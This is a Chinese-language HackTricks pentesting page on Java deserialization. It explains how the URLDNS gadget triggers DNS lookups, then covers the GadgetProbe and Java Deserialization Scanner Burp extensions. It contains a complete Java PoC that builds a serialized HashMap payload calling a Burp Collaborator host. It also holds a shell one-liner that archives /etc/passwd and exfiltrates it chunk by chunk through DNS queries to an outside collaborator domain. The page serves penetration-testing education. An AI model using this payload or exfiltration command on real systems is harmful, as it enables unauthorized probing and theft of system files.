hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

10 KiB
Raw Blame History

Java DNS反序列化、GadgetProbe和Java反序列化扫描器

Java DNS反序列化、GadgetProbe和Java反序列化扫描器

通过 htARTE (HackTricks AWS红队专家)从零开始学习AWS黑客攻击

支持HackTricks的其他方式

反序列化时的DNS请求

java.net.URL 实现了 Serializable 接口,这意味着这个类可以被序列化。

public final class URL implements java.io.Serializable {
此类具有一个**奇特的行为**。根据文档:“**如果两个主机名都可以解析为相同的IP地址则认为它们是等效的**”。\
因此每当一个URL对象调用**任何** **`equals`** 函数或 **`hashCode`** 函数时,都会**发送**一个**DNS请求**以获取IP地址。

**调用**来自**URL**对象的**`hashCode`** 函数非常简单,只需将此对象插入到将要被反序列化的`HashMap`中即可。这是因为在`HashMap`的**`readObject`** 函数的**最后**,会执行这段代码:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

它将执行 putVal 函数,并将 HashMap 中的每个值作为参数。但更重要的是,它会对每个值调用 hash 函数。以下是 hash 函数的代码:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

正如您所观察到的,在反序列化一个 HashMap 时,函数 hash 将会对每个对象执行,并且执行 hash 的过程中,将会执行对象的 .hashCode() 方法。因此,如果您反序列化一个包含 URL 对象的 HashMapURL 对象将会执行 .hashCode()

现在,让我们来看一下 URLObject.hashCode() 的代码:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
如您所见,当 `URLObject` 执行 `.hashCode()` 时,它调用的是 `hashCode(this)`。接下来您可以看到这个函数的代码:
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

您可以看到对域执行了一个 getHostAddress触发了 DNS 查询

因此,这个类可以被滥用发起一个DNS 查询,以证明****反序列化是可能的,甚至可以用来泄露信息(您可以将命令执行的输出添加为子域名)。

URLDNS 负载代码示例

您可以在这里找到 ysoserial 的 URDNS 负载代码。然而,为了更容易理解如何编写代码,我创建了我自己的 PoC基于 ysoserial 的那个):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

更多信息

GadgetProbe

您可以从Burp Suite应用商店Extender下载 GadgetProbe

GadgetProbe 将尝试确定服务器的Java类中是否存在某些 Java类,以便您知道它是否容易受到某些已知漏洞的攻击。

它是如何工作的

GadgetProbe 将使用上一节中相同的 DNS payload但在运行DNS查询之前它将 尝试反序列化一个任意类。如果 任意类存在DNS查询 将被 发送并且GadgetProbe将注意到这个类存在。如果 DNS 请求 从未发送,这意味着 任意类没有被成功反序列化,所以它要么不存在,要么 不可序列化/不可利用

在github内部GadgetProbe有一些用于测试的Java类的词表

更多信息

Java反序列化扫描器

此扫描器可以从Burp应用商店Extender下载
扩展 具有 被动 和主动 能力

被动

默认情况下,它会 被动检查 所有发送的请求和响应,寻找 Java序列化魔术字节,如果发现任何字节,将呈现漏洞警告:

主动

手动测试

您可以选择一个请求,右键单击并 发送请求到DS - 手动测试
然后,在 反序列化扫描器选项卡 --> 手动测试选项卡 中,您可以选择 插入点。并 启动测试(根据使用的编码选择适当的攻击)。

即使这被称为“手动测试”,它也是相当 自动化 的。它将自动检查 反序列化 是否容易受到 任何ysoserial payload 的攻击,检查网络服务器上存在的库,并将突出显示易受攻击的库。为了 检查 易受攻击的库,您可以选择启动 Java Sleeps,通过 CPU 消耗的 sleeps,或使用 DNS,如前所述。

利用

一旦您确定了一个易受攻击的库,您可以将请求发送到 利用选项卡
在这个选项卡中,您必须再次 选择 注入点,并 编写 您想为其创建payload的 易受攻击的库,以及 命令。然后,只需按下适当的 攻击 按钮。

Java反序列化DNS Exfil信息

使您的payload执行类似以下操作

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

更多信息

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

支持HackTricks的其他方式